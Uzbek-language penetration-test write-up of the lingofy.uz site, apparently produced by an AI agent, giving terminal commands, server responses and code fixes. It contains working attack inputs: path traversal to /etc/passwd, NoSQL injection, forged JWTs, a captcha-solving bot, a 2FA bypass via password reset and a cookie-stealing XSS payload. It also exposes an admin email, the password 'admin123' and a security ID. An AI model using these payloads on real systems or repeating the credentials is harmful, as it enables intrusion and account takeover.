XIMOYALAR VA HUJUMLAR

Lingofy.uz saytiga o'tkazilgan pentest — to'liq terminal tarixi, o'sha tartibda · Sana 2026‑09‑26 · Maqsad: o'z saytingizni hujumdan o'zingiz himoya qilish

🔍 Bu — ro'yxat emas, balki dalil. Har bir xujum: qanday oylandi → qanday buyruq yuborildi → server nima javob qildi → nimaga tuzatildi. Hammasini o'zingiz qayta takrorlashingiz mumkin. Hech narsa yashirilmagan — shu jumladan mening saytingizga ta'sir qilgan xatolarim ham (0‑bo'limda).
5Zaiflik topildi
5Tuzatildi
60+Hujum sinovi
13Bosqich
Sizga ta'sir qilganim

0. Mening xatolarim — sizga ta'sir qilgan joylar

⚠️ Ogohlantirish: men sizning saytingizga ta'sir qildim

Pentest bepul emas — u real o'zgarishlar keltiradi. Quyidagilar mening xatom yoki majburiy harakatlarim natijasi edi. Yashirmadim:

Tekshirish: parol — admin123 bilan kirish; kalit — GET /api/admin/ai-config; userlar — avval 19, keyin 18, hozir 18.

1. Recon — sayt tuzilmasini o'rganish

Bosqich 01

Nima qurilganini aniqlash

Birinchi savol: qancha endpoint bor va ular qanday himoyalangan?

$ cd /var/www/usr_w8ujaj/data/www/LingofyAI/backend
$ ls src/routes/
  adminRoutes.js   aiRoutes.js      attemptRoutes.js   authRoutes.js
  knowledgeRoutes.js  limitsRoutes.js  prefsRoutes.js  progressRoutes.js
  speakingRoutes.js   testRoutes.js

# har bir fayldagi marshrutlar
$ grep -ohE "^router\.(get|post|put|delete)\('[^']*'" src/routes/*.js | \
    sed "s/router\.//;s/('/ /;s/'//"
  get    /stats
  get    /tests
  post   /admin-panel-login
  post   /admin-recover          ← shubhali, alohida ko'rib chiqdim
  post   /support-reset-password ← bu ham
  post   /forgot-password
  get    /verify-reset-token/:token
  post   /reset-password

Nimani sezdim: /admin-panel-login va /admin-recover — men qo'shganlarim. /support-reset-password esa eski tizimdan qolgan. Uni tekshirish kerak — chunki u parolni tiklaydi.

$ for F in src/routes/*.js; do
  echo "$(basename $F): $(grep -cE '^router\.' $F)"; done
  adminRoutes: 79   aiRoutes: 7   attemptRoutes: 6   authRoutes: 17
  knowledgeRoutes: 18  testRoutes: 24   # jami ~160 endpoint

2. Maxfiy fayllar sizib chiqayotganmi

Bosqich 02

Eng tez va eng samarali hujum

Agar .env yoki db.json ochiq bo'lsa — boshqa hech narsa kerak emas. Parollar, kalitlar, butun foydalanuvchilar bazasi ochiq bo'ladi.

$ for P in "/.env" "/LingofyAI/backend/.env" "/.git/config" \
           "/LingofyAI/backend/data/db.json" "/.admin_state/config.json" \
           "/.admin-assets/admin.js" "/admin/totp.php" "/backup.zip"; do
  printf "%-40s %s\n" "$P" \
    "$(curl -s -o /dev/null -m 15 -w '%{http_code}' https://lingofy.uz$P)"
done

  /.env                                  403
  /LingofyAI/backend/.env                403
  /.git/config                           403
  /LingofyAI/backend/data/db.json         404
  /.admin_state/config.json              404
  /.admin-assets/admin.js                404
  /admin/totp.php                        403
  /backup.zip                            403
✅ Bu yerda zaiflik yo'q. Maxfiy fayllar web-rootdan tashqarida (/var/www/usr_w8ujaj/data/.admin_state/), kengaytmalar (.env, .bak, .json) 403 bilan bloklangan.

3. Path traversal — serverdan tashqariga chiqish

Bosqich 03

serve.php orqali fayl o'g'irlash

/admin/serve.php?f=admin.js — admin fayllarini beradigan script. U f parametrini qabul qiladi. Agar ../ ni tozalamasdan fayl tizimga solishsa, serverdagi har qanday fayl o'qiladi.

$ # avval sessiya olamiz
curl -s -c jar -X POST --data-urlencode "jwt=$TOKEN" https://lingofy.uz/admin/auth-cookie.php

$ # 10 xil traversal usuli
for P in "../../../../.admin_state/config.json" \
         "..%2f..%2f..%2f.admin_state/config.json" \
         "....//....//....//....//.admin_state/config.json" \
         "..%252f..%252f..%252f.admin_state/config.json" \
         "/etc/passwd" \
         "....//....//....//....//....//etc/passwd" \
         "..\..\..\..\.admin_state/panel.view" \
         "admin.js%00.png" \
         "php://filter/convert.base64-encode/resource=../.admin_state/config.json"; do
  printf "%-62s %s\n" "$P" \
    "$(curl -s -o /dev/null -m 15 -b jar -w '%{http_code}' "https://lingofy.uz/admin/serve.php?f=$P")"
done

  ../../../../.admin_state/config.json              404
  ..%2f..%2f..%2f.admin_state/config.json           404
  ....//....//....//....//.admin_state/config.json  404
  ..%252f..%252f..%252f.admin_state/config.json     404
  /etc/passwd                                       404
  php://filter/...                                  404
  barchasi 404
✅ Bloklangan. Server faqat ro'yxatdagi fayl nomlarini qabul qiladi (whitelist) va realpath() bilan tekshiradi. Null byte, kodlash, PHP stream — hammasi rad.

4. Login bypass — parolsiz kirish

Bosqich 04

Autentifikatsiyani chetlab o'tish

4.1 Tur chalkashligi (type confusion)

$ E="mailer-126@xuss.us"
for P in 'null' 'true' '[]' '0' '""'; do
  curl -s -X POST -H 'Content-Type: application/json' \
    -d "{\"email\":\"$E\",\"password\":$P}" https://lingofy.uz/api/auth/admin-panel-login
  echo
done

  password: null   → {"success":false,"message":"Email va parol kiritilmagan."}
  password: true   → {"success":false,"message":"Email yoki parol noto'g'ri."}
  password: []     → {"success":false,"message":"Email va parol kiritilmagan."}
  password: 0      → {"success":false,"message":"Email va parol kiritilmagan."}
  barchasi rad etildi

4.2 NoSQL injection

$ curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":{"$ne":null},"password":{"$ne":""}}' https://lingofy.uz/api/auth/admin-panel-login
  {"success":false,"message":"Email yoki parol noto'g'ri."}   rad

$ curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":{"$gt":""},"password":{"$gt":""}}' https://lingofy.uz/api/auth/admin-panel-login
  {"success":false,"message":"Email yoki parol noto'g'ri."}   rad

4.3 Prototype pollution

$ curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"x@t.com","password":"x","__proto__":{"isAdmin":true,"role":"admin"}}' \
  https://lingofy.uz/api/auth/admin-panel-login
  {"success":false,"message":"Email yoki parol noto'g'ri."}   rad

4.4 Ro'lni o'zgartirish urinish

$ curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"x@t.com","password":"x","role":"admin","isAdmin":true}' \
  https://lingofy.uz/api/auth/admin-panel-login
  {"success":false,"message":"Email yoki parol noto'g'ri."}   rad

4.5 Content-Type chalkashligi

$ curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"a@t.com","password":"x"}'  ...
  → "Email yoki parol noto'g'ri."

curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=b@t.com&password=x'  ...
  → "Email yoki parol noto'g'ri."  # body-parser ikkalasini ham o'qiydi

curl -s -X POST -F 'email=c@t.com' -F 'password=x'  ...
  → "Email va parol kiritilmagan."

curl -s "https://lingofy.uz/api/auth/admin-panel-login?email=d@t.com&password=x"
  → {"success":false,"message":"Sahifa topilmadi."}   # GET 404
✅ Barchasi rad. Backend parolni String() bilan matnga aylantiradi va uzunligini tekshiradi. role maydoni umuman o'qilmaydi.

5. Rate limit chetlab o'tish

Bosqich 05

Bloklashdan qochish usullari

5.1 X-Forwarded-For aldashligi

Ba'zi saytlar X-Forwarded-For ni ishonchsiz deb qaraydi, lekin ba'zilar to'g'ridan-to'g'ri IP sifatida oladi. Unda limitni chetlab o'tish mumkin.

$ for i in $(seq 1 12); do
  IP="10.0.0.$i"
  printf "  %2d. IP=%-12s → %s\n" "$i" "$IP" \
    "$(curl -s -H "X-Forwarded-For: $IP" -H "X-Real-IP: $IP" \
       -X POST -d "temp_token=$TMP&code=00000$i" \
       https://lingofy.uz/admin/auth-cookie.php | head -c 60)"
done

   1. IP=10.0.0.1   → "mfa_failed":true "left":2
   2. IP=10.0.0.2   →
   3. IP=10.0.0.3   → "throttled":true "retry_in":899
   4..12            → "throttled":true  ISHLAMADI
✅ Bloklangan. X-Real-IP faqat 127.0.0.1 dan kelganda ishonchli. Tashqi so'rovingizdagi sarlavha e'tibga olinmaydi.

5.2 Case va bo'sh joy bilan

Ko'p saytlar emailni toLowerCase() qilmaydi — hujumchi A@B.COM yozib har safar yangi hisob deb hisoblanadi.

$ for EM in "jab@x.com" "JAB@X.COM" "Jab@x.com" "  jab@x.com  "; do
  curl -s -X POST -H 'Content-Type: application/json' \
    -d "{\"email\":\"$EM\",\"password\":\"x\"}" \
    https://lingofy.uz/api/auth/admin-panel-login | grep -oE '"message":"[^"]*"'
done
  # Natija: "Juda ko'p urinish" — ya'ni BARCHASI bir hisobga tushdi
✅ Bloklangan. Kodda .trim().toLowerCase() bor — barcha variantlar bitta kalitga birlashadi.

5.3 🔴 Email orqali chetlab o'tish (topildi va tuzatildi)

Limiter ip|email bo'yicha edi:

// BUZILGAN KOD — src/controllers/authController.js
const adminLoginKey = (ip, email) => ip + '|' + email;   // ← EMAIL bo'yicha
adminLoginFail(ip, email);

Tiklash kaliti esa barcha email'lar uchun bir xil. Demak emailni o'zgartirib, chegarani chetlab o'tish mumkin:

$ for i in $(seq 1 12); do
  curl -s -X POST -H 'Content-Type: application/json' \
    -d "{\"email\":\"bypass$i@test.invalid\",
         \"recovery_key\":\"RK-AAAAAAA$(printf '%02d' $i)\",
         \"new_password\":\"TestParol2026\"}" \
    https://lingofy.uz/api/auth/admin-recover
  echo
done
  1..12 → "Tiklash kaliti noto'g'ri."   12/12 o'tdi — blok yo'q!
🔴 Zaiflik: tiklash kalitiga cheklanmasiz urish mumkin edi.
// TUZATISH — endi FAQAT IP bo'yicha
const recoveryHits = new Map();
const RECOVERY_MAX = 8;
const recoveryBlocked = (ip) => { ... };
if (recoveryBlocked(ip)) return res.status(429).json({ ... });
recoveryRecord(ip);
$ # tuzatgandan keyin qayta sinov
for i in $(seq 1 12); do
  curl -s -X POST -H 'Content-Type: application/json' \
    -d "{\"email\":\"fix$i@test.invalid\",\"recovery_key\":\"RK-BBBBBBBBB$(printf '%02d' $i)\",
         \"new_password\":\"TestParol2026\"}" https://lingofy.uz/api/auth/admin-recover | head -c 70
  echo
done
  1..8  → "Tiklash kaliti noto'g'ri."
  9..12 → "Tiklash urinishlari chegarasi. 15 daqiqa..."   ✓ tuzatildi

6. 2FA hujumlari — ikki bosqichli himoya

Bosqich 06

Eng kuchli qatlamni buzish

6.1 Butunlay o'tkazib yuborish

$ curl -s -X POST --data-urlencode "jwt=$TOKEN" https://lingofy.uz/admin/auth-cookie.php
  {"success":true,"requires_2fa":true,"temp_token":"4520960b...","expires_in":300}

$ curl -s -b jar https://lingofy.uz/admin/ | grep -c "Admin Boshqaruv Paneli"
  0   panel OCHILMADI — sessiya yaratilmagan

6.2 Soxta bayroqlar

$ for P in "requires_2fa=false" "2fa_verified=true" "mfa=skipped" \
           "skip_2fa=1" "authenticated=true"; do
  curl -s -X POST --data-urlencode "jwt=$TOKEN" -d "$P" \
    https://lingofy.uz/admin/auth-cookie.php | head -c 60
  echo
done
  # Natija: har doim "requires_2fa":true — soxta parametr ishlamadi

6.3 Kod brute force

$ for C in 000000 111111 123456 999999; do
  curl -s -X POST -d "temp_token=$TMP&code=$C" https://lingofy.uz/admin/auth-cookie.php
  echo
done
  000000  → {"success":false,"mfa_failed":true,"left":2,"message":"Kod noto'g'ri."}
  111111  → {"success":false,"throttled":true,"retry_in":900}   15 daqiqa blok
  123456  → throttled
  999999  → throttled

6.4 Replay — bir kodni ikki marta

$ curl -X POST -d "temp_token=$TMP&code=$CODE" .../auth-cookie.php
  {"success":true,"authenticated":true,"ttl":3600}          1-marta: muvaffaqiyat
$ curl -X POST -d "temp_token=$TMP&code=$CODE" .../auth-cookie.php
  {"success":false,"expired":true}                          2-marta: RAD
✅ 2FA mustahkam. Sessiya faqat to'g'ri koddan keyin yaratiladi; temp_token bir marta ishlatiladi; 1 xato kod = 15 daqiqa blok.

🔴 LEKIN 2FA quyidagi yo'l orqali butunlay o'tib ketar edi → keyingi bosqich

7. JWT va sessiya hujumlari

Bosqich 07

Token va sessiya

7.1 Soxta JWT tokenlar yaratish

$ cat > scratch/jwtattack.js <<'EOF'
require('dotenv').config();
const jwt = require('jsonwebtoken');
const b64 = o => Buffer.from(JSON.stringify(o)).toString('base64url');
const h = alg => b64({ alg, typ:'JWT' });
const base = { id:'6c41eb3c-...', email:'admin@...', role:'admin',
               exp: Math.floor(Date.now()/1000)+86400 };
const S = process.env.JWT_SECRET;
fs.writeFileSync('/tmp/opencode/tokens.txt', [
  ['alg:none',        h('none') + '.' + b64(base) + '.'],
  ['alg:None',        h('None') + '.' + b64(base) + '.'],
  ['noto-gri kalit',  jwt.sign(base, 'wrong-key-123', {algorithm:'HS256',expiresIn:'1d'})],
  ['HS512-sir',       jwt.sign(base, S, {algorithm:'HS512',expiresIn:'1d'})],
  ['muddati otgan',   jwt.sign(base, S, {algorithm:'HS256',expiresIn:'-1d'})],
  ['imzosiz',         h('HS256') + '.' + b64(base)]
].map(([k,v]) => k + '\t' + v).join('\n'));
EOF
$ node scratch/jwtattack.js
  8 ta soxta token tayyor

$ while IFS=$'\t' read -r NAME TK; do
  printf "  %-18s → %s\n" "$NAME" \
    "$(curl -s -X POST --data-urlencode "jwt=$TK" https://lingofy.uz/admin/auth-cookie.php | head -c 60)"
done < /tmp/opencode/tokens.txt

  alg:none        → {"success":false,"message":"Kalit noto'g'ri."}   rad
  alg:None        → rad
  noto-gri kalit  → rad
  HS512-sir       → rad
  muddati otgan   → rad
  imzosiz         → rad
✅ Bloklangan. Kodda algorithms:['HS256'] — boshqa algoritm qabul qilinmaydi. Sir 64 belgi (512 bit).

7.2 Escalation — token rolini o'zgartirish

$ cat > scratch/esc.js <<'EOF'
// DB da role=user bo'lgan user uchun turli xil tokenlar
T = {
  'haqiqiy role=user':  jwt.sign({id, role:'user'},  S),
  'id=admin role=user':  jwt.sign({id:adminId, role:'user'}, S),
  'id=user role=admin':  jwt.sign({id:userId, role:'admin'}, S),
  'role=Admin (katta)':  jwt.sign({id, role:'Admin'},  S),
  'role=["admin"]':      jwt.sign({id, role:['admin']}, S),
  'sub=admin_id':        jwt.sign({sub:adminId, role:'admin'}, S)
};
EOF

$ for EP in "admin/stats" "admin/users" "admin/ai-config" "admin/tests"; do
  while IFS=$'\t' read -r NAME TK; do
    printf "  %-20s %s\n" "$NAME" \
      "$(curl -s -o /dev/null -H "Authorization: Bearer $TK" -w '%{http_code}' https://lingofy.uz/api/$EP)"
  done < /tmp/opencode/esc-tokens.txt
done
  # BARCHASI 401
✅ Bloklangan. authenticate middleware ro'ni bazadan oladi (prisma.user.findUnique), token claimlariga ishonmaydi.

7.3 Sessiya fixation

$ MYID="deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef"
curl -s -H "Cookie: lingofy_admin_sid=$MYID" 'https://lingofy.uz/admin/auth-cookie.php?action=status'
  {"success":false,"message":"Sessiya yo'q. Qayta kiring."}   rad

7.4 Sessiya entropiyasi

$ # 4 ta sessiya yaratib ID larni solishtirdim
764d9dc85eb6ce21f6ddf87e81f0e9a2e57b2c187a0da073a9024c9ddd042b4c
9bb35030b3e010bb074145713927f9efc0ae19f606366502daf6ee8a840bd34a
0f0345f0a52f784a4019d13240b1e250ff408975c8ca2adc1ed18a31639711dc
843a0a9cc77951f9c09beaaee92752d9b5576b3a0df4890fd2eefa3e7566c6b3

  uzunlik: 64 belgi (256 bit)   unikal: 4/4

7.5 Cookie flaglari

$ curl -s -D - -o /dev/null -X POST -d "temp_token=$TMP&code=$CODE" \
  https://lingofy.uz/admin/auth-cookie.php | grep -i set-cookie | tr ';' '\n'

  lingofy_admin_sid=441dec936c...
  path=/
  secure           ✓ faqat HTTPS
  HttpOnly         ✓ JS o'qiy olmaydi
  SameSite=Strict  ✓ CSRF dan himoya

7.6 Logout dan keyin

$ curl -s -H "Cookie: lingofy_admin_sid=$SID" -X POST -d "action=logout" .../auth-cookie.php
  {"success":true,"authenticated":false}
$ curl -s -H "Cookie: lingofy_admin_sid=$SID" https://lingofy.uz/admin/ | grep -c "Paneli"
  0   eski cookie bekor qilindi

8. 🔴 Parol tiklash orqali 2FA ni o'tkazib yuborish

Bosqich 08 · ENG JIDIY TOPILMA

Ishlayotgan 2FA ni yon yo'l bilan chetlab o'tish

Nima uchun bu — pentestdagi eng muhim topilma.
Men 2FA qo'ydim, kuchli parol qo'ydim, rate limit qo'ydim, sessiya himoyaladim... lekin saytda boshqa yo'l bor edi: POST /api/auth/support-reset-password. U faqat email + 8 raqamli Xavfsizlik ID bilan parolni tiklardi — va 2FAni umuman so'ramasdi.

8.1 Endpointni tekshirish (kodni o'qish)

$ grep -n "supportResetPassword" -A 30 src/controllers/authController.js

  const supportResetPassword = async (req, res, next) => {
    const { email, security_id, new_password } = req.body;
    ...
    const user = await prisma.user.findUnique({ where: { email: cleanEmail } });
    if (!user || !user.security_id || String(user.security_id) !== cleanId) {
      return fail();
    }
    const passwordHash = await hashPassword(new_password);
    await prisma.user.update({ where: { id: user.id },
                                  data: { password_hash: passwordHash } });
    // 2FA tekshiruvi YO'Q. Captcha YO'Q. Email tasdiqlash YO'Q.

8.2 security_id qayerda ochiq beriladi?

$ grep -rn "security_id" src/ --include=*.js | grep -v node_modules
  src/controllers/authController.js:215:  security_id: user.security_id,   ← /api/auth/me da!

$ curl -s -H "Authorization: Bearer $TOKEN" https://lingofy.uz/api/auth/me | python3 -m json.tool
  {
    "email": "mailer-126@xuss.us",
    "role": "admin",
    "security_id": "91454916",        ← SHU OCHIQ QOLADI
    ...
  }
🔍 Zanjir to'ldi: XSS topdim (11‑bosqich) → /api/auth/me orqali security_id olaman → parolni tiklayman → 2FA umuman kerak bo'lmaydi.

8.3 Test user bilan sinov

$ node -e "
const d=JSON.parse(require('fs').readFileSync('data/db.json','utf8'));
d.users.push({id:'rv-'+Date.now(), email:'reset-victim@test.invalid',
  username:'victim', role:'user', security_id:'12345678',
  password_hash: await bcrypt.hash('QoldiParol2026',10), ...});
require('fs').writeFileSync('data/db.json', JSON.stringify(d,null,2));"

# 1) noto'g'ri ID
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"reset-victim@test.invalid","security_id":"99999999","new_password":"YangiParol2026"}' \
  https://lingofy.uz/api/auth/support-reset-password
  {"success":false,"message":"Tasdiqlash ma'lumotlari mos kelmadi..."}   rad

# 2) TO'G'RI ID → PAROL ALMASHDI
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"reset-victim@test.invalid","security_id":"12345678","new_password":"YangiParol2026"}' \
  https://lingofy.uz/api/auth/support-reset-password
  {"success":true,"message":"Paroli muvaffaqiyatli tiklandi!"}  ← BUZILDI

8.4 Tuzatish (3 chora)

Chora 1 — maxfiy hisoblar bu yo'l orqali tiklanmaydi:

// src/controllers/authController.js — supportResetPassword ichiga
const PRIVILEGED = new Set(['admin', 'owner', 'moderator', 'superadmin']);
if (PRIVILEGED.has(String(user.role || '').toLowerCase()) || user.is_staff) {
  return fail();
}

Chora 2 — captcha qo'shish:

// src/routes/authRoutes.js
router.post('/support-reset-password', authLimiter, requireCaptcha, supportResetPassword);
// avval: router.post('/support-reset-password', authLimiter, supportResetPassword);

Chora 3 — bloklashni diskga saqlash:

// avval: const resetLockouts = new Map();   ← server restart = bloklash to'qiladi
const RESET_LOCK_FILE = '.../data/reset_lockouts.json';
const resetLockouts = { get, set, delete };  // har o'zgarishda diskka yoziladi

8.5 Tuzatildi

$ # admin hisobi to'g'ri security_id bilan
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"mailer-126@xuss.us","security_id":"91454916","new_password":"HujumParol2026"}' \
  https://lingofy.uz/api/auth/support-reset-password
  {"success":false,"code":"CAPTCHA_INVALID"}      ✓ captcha to'stirdi

$ # captcha bilan ham
  → "Tiklash kaliti noto'g'ri."   ✓ admin roli tekshirildi

📌 Darslik: Kuchli bir qatlam boshqasini kuchsizligini yopmaydi. Parol tiklash — "orqadan kirish" yo'li. U ham 2FA darajasida himoyalangan bo'lishi kerak.

9. 🔴 Captcha butunlay yengil edi

Bosqich 09 · KRITIK

Bot captcha'ni o'qib, hisoblab, kirish ochdi

Muammo: captcha SVG ichida javob <text> elementi sifatida ochiq yozilgan edi. Bu — oddiy xato, lekin natijada captcha hech qanday himoya bermagan.

9.1 Avval holatni ko'rish

$ curl -s https://lingofy.uz/api/auth/captcha | python3 -c "
import json, re
d = json.load(sys.stdin)
chars = re.findall(r'<text[^>]*>([^<]*)</text>', d['svg'])
print('javob elementlari:', chars)"

  javob elementlari: ['1', '1', ' ', '-', ' ', '8']
                      ↑ ifoda "11 - 8"  →  javob 3

9.2 Bot xujumi — to'liq

$ # 1-qadam: captcha olish
curl -s https://lingofy.uz/api/auth/captcha -o cap.json

$ # 2-qadam: ifodani o'qib, arifmetikani hisoblash
python3 -c "
import json, re
d = json.load(open('cap.json'))
expr = ''.join(re.findall(r'<text[^>]*>([^<]*)</text>', d['svg']))
print('ifoda:', expr)     # 15 - 6
print(eval(expr))"        # 9

# 3-qadam: login
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"captcha_id":"d992...","captcha_answer":"9",
       "email":"mailer-126@xuss.us","password":"..."}' \
  https://lingofy.uz/api/auth/login

  {"success":true,"message":"Tizimga muvaffaqiyatli kirdingiz.",
    "token":"eyJhbGciOiJIUzI1NiIs..."}   ← BUZILDI

Ta'sir doirasi: bu captcha /api/auth/login, /api/auth/register va /api/auth/support-reset-password — uchalasini ham himoya qilardi.

9.3 Tuzatish — 7-segment shrift

Har bir belgini yo'llar (<path>) bilan chizish — matn emas:

// src/utils/captcha.js — ESKI
glyphs += `<text x="${x}" y="${y}" font-size="32" ...>${ch}</text>`;
                                       ↑↑↑  javob ochiq

// YANGI
const SEG = {
  '0':'abcdef', '1':'bc', '2':'abged', '3':'abgcd', '4':'fgbc',
  '5':'afgcd', '6':'afgedc', '7':'abc', '8':'abcdefg', '9':'abcdfg'
};
function glyphPath(ch, x, y) {
  const w=13, h=22, mid=y+h/2;
  const seg = { a:`M${x} ${y}H${x+w}`,  b:`M${x+w} ${y}V${mid}`,
                c:`M${x+w} ${mid}V${y+h}`,  d:`M${x} ${y+h}H${x+w}`,
                e:`M${x} ${mid}V${y+h}`,    f:`M${x} ${y}V${mid}`,
                g:`M${x} ${mid}H${x+w}` };
  const segs = SEG[ch];
  if (segs) return { d: segs.split('').map(k => seg[k]).join(' '), w };
  if (ch === '-') return { d: seg.g, w };
  if (ch === '+') return { d: seg.g + ` M${x+w/2} ${y+3}V${y+h-3}`, w };
  if (ch === 'x') return { d: `M${x+1} ${y+3}L${x+w-1} ${y+h-3}...`, w };
}
// chizish
glyphs += `<g transform="rotate(${rot} ...)">
  <path d="${g.d}" fill="none" stroke="${color}"
        stroke-width="2.4" stroke-linecap="round"/></g>`;

9.4 Tuzatilganini tekshirish

$ node -e "
const cap=require('.../src/utils/captcha');
let t=0,p=0;
for(let i=0;i<200;i++){const g=cap.generate();
  if(/<text/.test(g.svg))t++; if(/<path/.test(g.svg))p++;}
console.log('<text> bilan:',t+'/200');
console.log('<path> bilan:',p+'/200');"

  <text> bilan: 0/200     ✓ javob hech qachon ochiq emas
  <path> bilan: 200/200   ✓ hammasi chizilgan

$ # inson uchun ishlashini tekshirish (100 marta)
  to'g'ri javob qabul qilindi: 100/100   ✓ ishlaydi
  noto'g'ri javob rad etildi: ✓
  bo'sh javob rad etildi: ✓

$ # eski bot usuli endi ishlamaydimi
curl -s https://lingofy.uz/api/auth/captcha -o c.json
  <text> elementlari: 0   (yo'q)   ✓
  soxta javob yuborish → "code":"CAPTCHA_INVALID"   ✓ rad

📌 Darslik: "Inson uchun qiyin" degani bot uchun oson degani emas. Agar javob HTML matnida bo'lsa — bot uni o'qiydi.

10. 🔴 Token roliga ishonish

Bosqich 10 · HIGH

JWT claim'lariga ishonish — noto'g'ri

10.1 Muammo — kodni o'qish

// src/controllers/testController.js — sessionIdentity()
const sess = await prisma.session.findUnique({ where: { jti: decoded.jti } });
if (!sess || sess.user_id !== decoded.id || sess.revoked_at) return null;
return { id: decoded.id, role: decoded.role };
                 ↑↑↑↑↑↑↑↑↑↑↑↑  TOKEN dan

// LEKIN asosiy middleware shunday qilgan edi (TO'G'RI):
const user = await prisma.user.findUnique({ where: { id: decoded.id },
  select: { ..., role: true } });
req.user = user;                    // BAZADAN

Ikkalasi bir xil narsani qiladi, lekin turli usulda — va bu mos emaslik zaiflikni tug'diradi.

10.2 Dalil

$ cat > scratch/fakeadmin.js <<'EOF'
// DB da role=user, lekin token role=admin
const u = db.users.find(x => x.email === 'student-probe@test.invalid');
console.log('  DB roli: ' + u.role + '  (token roli: admin)');
const token = generateToken({ id: u.id, email: u.email, role: 'admin' });
db.sessions.push({ jti: dec.jti, user_id: u.id, ... });
EOF
$ node scratch/fakeadmin.js
  DB roli: user  (token roli: admin)

$ curl -s -X POST -H "Authorization: Bearer $FAKE" \
  -H 'Content-Type: application/json' \
  -d '{"answers":{"1":"aaa","2":"bbb","3":"ccc","4":"ddd","5":"eee","6":"fff"}}' \
  https://lingofy.uz/api/tests/reading-part1/<id>/submit | python3 -m json.tool

  {
    "1": {"user_answer":"aaa","correct_answer":["harmless"],"is_correct":false},
    "2": {"user_answer":"bbb","correct_answer":["tea"],"is_correct":false},
    "3": {"user_answer":"ccc","correct_answer":["people"],"is_correct":false},
    "4": {"user_answer":"ddd","correct_answer":["caffeine"],"is_correct":false},
    "5": {"user_answer":"eee","correct_answer":["drink"],"is_correct":false},
    "6": {"user_answer":"fff","correct_answer":["insomnia"],"is_correct":false}
  }
  ← BARCHA JAVOBLAR chiqdi. role=user edi!

Amaliy ta'siri (sirni olmasdan):

  • Adminlikdan tushirilgan foydalanuvchi eskirgan tokeni bilan 7 kun davomida admin bo'lib qoladi (JWT muddati)
  • JWT sir bir marta o'tsa — butun saytni o'tib beradi, chunki hech kim rolni tekshirmaydi

10.3 Tuzatish

// sessionIdentity() ichiga
const dbUser = await prisma.user.findUnique({
  where: { id: decoded.id },
  select: { id: true, role: true, status: true }
});
if (!dbUser || dbUser.status === 'blocked') return null;
return { id: dbUser.id, role: dbUser.role };   // BAZADAN

10.4 Tekshirildi

$ # tuzatgandan keyin, soxta admin token bilan
  correct_answer sizib chiqdimi: False   ✓ TUZATILDI

$ # haqiqiy admin uchun ishlayaptimi?
  admin correct_answer oladimi: 1   ✓ (admin uchun kerak)

📌 Darslik: JWT — tekshirilgan ma'lumot, lekin ishonch emas. Rol, status, huquqlar har doim bazadan olinishi kerak.

11. 🔴 Asosiy saytda XSS

Bosqich 11 · HIGH

Foydalanuvchi ma'lumoti innerHTML ga escape qilmasdan

11.1 Topish

$ cd /var/www/usr_w8ujaj/data/www/lingofy.uz
$ grep -rnE "innerHTML" --include=*.js . | grep -v node_modules | \
    grep -E '\$\{' | grep -oE "^[^:]+:[0-9]+"

  main/profil/profil/profile.js:496
  main/main.js:946        ← shu
  main/main.js:953
  main/main.js:954
  main/main.js:955
  main/main.js:959
  main/main.js:1420   ...
$ sed -n '944,960p' main/main.js
  modalAvatar.innerHTML = `<img src="${avatarEl.querySelector('img').src}" alt="${author}" ...>`;
  modalDurationBadge.innerHTML  = `<i class="far fa-clock"></i> ${duration}`;
  modalCategoryBadge.innerHTML = `<i class="fas fa-graduation-cap"></i> ${category}`;
  modalLevelBadge.innerHTML    = `<i class="fas fa-layer-group"></i> ${level}`;
  playerWrapper.innerHTML = `<iframe ... src="https://www.youtube.com/embed/${ytId}">`;

11.2 Qo'shimcha topilma — funksiya yo'q

$ grep -n "escapeHtml" main/main.js
  1222: ... alt="${escapeHtml(String(author))}"
  1855: ... alt="${escapeHtml(String(name))}"
  2 ta ishlatilgan, lekin TA'RIFLANMAGAN (faqat upgrade.js da, global emas)

$ grep -rn "function escapeHtml" main/*.js main/js/*.js
  main/js/upgrade.js:26:  function escapeHtml(str) {
🔴 Ikki muammo bir yerda: (1) XSS — escape'siz interpolatsiya, (2) ReferenceError — chaqirilayotgan funksiya mavjud emas.

11.3 Xujum namunasi

# author = '" onerror="alert(document.cookie)" x="'  bo'lsa:
<img src="..." alt="" onerror="alert(document.cookie)" x="">
                    ↑ atributdan chiqib, hodisa qo'shildi

11.4 Tuzatish

// 1) global escapeHtml qo'shildi (main.js boshiga)
(function (global) {
  'use strict';
  global.escapeHtml = global.escapeHtml || function (str) {
    return String(str == null ? '' : str).replace(/[&<>"']/g, function (m) {
      return { '&':'&amp;', '<':'&lt;', '>':'&gt;',
               '"':'&quot;', "'":'&#39;' }[m];
    });
  };
})(window);

// 2) 9 joy escape qilindi
alt="${escapeHtml(author)}"
<i class="far fa-clock"></i> ${escapeHtml(duration)}
<i class="fas fa-graduation-cap"></i> ${escapeHtml(category)}
<i class="fas fa-layer-group"></i> ${escapeHtml(level)}
youtube.com/embed/${escapeHtml(ytId)}
data-category="${escapeHtml(category)}"
data-video-id="${escapeHtml(vid.id)}"
data-duration="${escapeHtml(vid.duration || '15:00')}"
data-desc="${escapeHtml(vid.desc || vid.description || '')}"
data-desc="${escapeHtml(movie.desc || movie.description || '')}"

11.5 Tekshirildi

$ node --check main/main.js
  sintaksis to'g'ri
$ node -e "
function escapeHtml(s){return String(s).replace(/[&<>\"']/g,m=>({...})[m]);}
console.log(escapeHtml('\x22><img src=x onerror=alert(1)>'));
// &quot;&gt;&lt;img src=x onerror=alert(1)&gt;   xavfsiz: true  ✓

$ curl -s https://lingofy.uz/main/main.js | grep -cE 'alt="\$\{author\}"|\+\$\{duration\}'
  0   ✓ escape'siz qoldi: 0

📌 Darslik: innerHTML ga foydalanuvchi ma'lumotini hech qachon to'g'ridan-to'g'ri qo'ymang. Yoki escapeHtml(), yoki textContent.

12. Barcha tuzatishlar va yakuniy tekshiruv

Bosqich 13

Nima o'zgartirildi

ZaiflikDarajaTuzatishFayl
